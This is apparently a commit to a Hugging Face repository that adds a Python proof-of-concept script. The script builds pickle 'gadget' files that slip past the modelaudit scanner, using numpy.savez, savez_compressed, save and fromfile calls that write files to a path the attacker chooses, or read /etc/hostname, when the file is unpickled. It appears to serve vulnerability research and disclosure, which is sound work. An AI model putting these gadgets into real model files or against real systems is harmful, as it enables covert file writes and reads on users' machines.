Upload build_gadgets.py with huggingface_hub
Browse files- build_gadgets.py +88 -0
build_gadgets.py
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
BL-0102 gadget builder -- modelaudit 0.2.49 numpy.savez / savez_compressed
|
| 4 |
+
file-write-on-load scanner bypass.
|
| 5 |
+
|
| 6 |
+
Builds four standalone pickle files that each carry a single REDUCE opcode:
|
| 7 |
+
|
| 8 |
+
evil_savez.pkl -> numpy.savez(<out>/MARK_savez, [13.37])
|
| 9 |
+
evil_savez_compressed.pkl -> numpy.savez_compressed(<out>/MARK_savezc, [13.37])
|
| 10 |
+
control_numpy_save.pkl -> numpy.save(<out>/MARK_save, [13.37]) (POSITIVE CONTROL)
|
| 11 |
+
secondary_fromfile.pkl -> numpy.fromfile('/etc/hostname') (READ-side corroboration)
|
| 12 |
+
|
| 13 |
+
Payloads are BENIGN: they write a small, valid .npz/.npy marker to an
|
| 14 |
+
attacker-controlled ABSOLUTE path, or read a world-readable file. No RCE,
|
| 15 |
+
no network, no destructive action.
|
| 16 |
+
|
| 17 |
+
The REDUCE that pickle emits here is identical to what an attacker would ship
|
| 18 |
+
inside a .pkl / PyTorch .bin / joblib model file; on unpickle Python calls the
|
| 19 |
+
first element (numpy.savez) with the second element (the args tuple).
|
| 20 |
+
|
| 21 |
+
Usage: python build_gadgets.py [OUTDIR] (default OUTDIR=/work/final)
|
| 22 |
+
"""
|
| 23 |
+
import os
|
| 24 |
+
import pickle
|
| 25 |
+
import sys
|
| 26 |
+
|
| 27 |
+
OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/work/final"
|
| 28 |
+
os.makedirs(OUTDIR, exist_ok=True)
|
| 29 |
+
|
| 30 |
+
MARK_SAVEZ = os.path.join(OUTDIR, "MARK_savez") # numpy.savez appends .npz
|
| 31 |
+
MARK_SAVEZC = os.path.join(OUTDIR, "MARK_savezc") # -> .npz
|
| 32 |
+
MARK_SAVE = os.path.join(OUTDIR, "MARK_save") # numpy.save appends .npy
|
| 33 |
+
MARKER_CONTENT = [13.37]
|
| 34 |
+
|
| 35 |
+
|
| 36 |
+
class SavezGadget:
|
| 37 |
+
def __reduce__(self):
|
| 38 |
+
import numpy
|
| 39 |
+
return (numpy.savez, (MARK_SAVEZ, MARKER_CONTENT))
|
| 40 |
+
|
| 41 |
+
|
| 42 |
+
class SavezCompressedGadget:
|
| 43 |
+
def __reduce__(self):
|
| 44 |
+
import numpy
|
| 45 |
+
return (numpy.savez_compressed, (MARK_SAVEZC, MARKER_CONTENT))
|
| 46 |
+
|
| 47 |
+
|
| 48 |
+
class SaveGadget:
|
| 49 |
+
# POSITIVE CONTROL: numpy.save reaches builtins.open('wb') directly,
|
| 50 |
+
# so modelaudit's FILE_WRITE call-graph analyzer flags it CRITICAL.
|
| 51 |
+
def __reduce__(self):
|
| 52 |
+
import numpy
|
| 53 |
+
return (numpy.save, (MARK_SAVE, MARKER_CONTENT))
|
| 54 |
+
|
| 55 |
+
|
| 56 |
+
class FromfileGadget:
|
| 57 |
+
# SECONDARY: arbitrary file READ via numpy.fromfile (C-level reader,
|
| 58 |
+
# opaque to the Python source call-graph).
|
| 59 |
+
def __reduce__(self):
|
| 60 |
+
import numpy
|
| 61 |
+
return (numpy.fromfile, ("/etc/hostname",))
|
| 62 |
+
|
| 63 |
+
|
| 64 |
+
def emit(name, obj):
|
| 65 |
+
path = os.path.join(OUTDIR, name)
|
| 66 |
+
with open(path, "wb") as f:
|
| 67 |
+
# protocol 0 -> human-readable REDUCE, easy to disassemble
|
| 68 |
+
pickle.dump(obj, f, protocol=0)
|
| 69 |
+
return path
|
| 70 |
+
|
| 71 |
+
|
| 72 |
+
built = [
|
| 73 |
+
emit("evil_savez.pkl", SavezGadget()),
|
| 74 |
+
emit("evil_savez_compressed.pkl", SavezCompressedGadget()),
|
| 75 |
+
emit("control_numpy_save.pkl", SaveGadget()),
|
| 76 |
+
emit("secondary_fromfile.pkl", FromfileGadget()),
|
| 77 |
+
]
|
| 78 |
+
|
| 79 |
+
print("BUILT:")
|
| 80 |
+
for p in built:
|
| 81 |
+
print(f" {p} ({os.path.getsize(p)} bytes)")
|
| 82 |
+
|
| 83 |
+
# Show the opcode stream of the primary gadget so the REDUCE is auditable.
|
| 84 |
+
import pickletools # noqa: E402
|
| 85 |
+
|
| 86 |
+
print("\n=== pickletools.dis(evil_savez.pkl) ===")
|
| 87 |
+
with open(os.path.join(OUTDIR, "evil_savez.pkl"), "rb") as f:
|
| 88 |
+
pickletools.dis(f.read())
|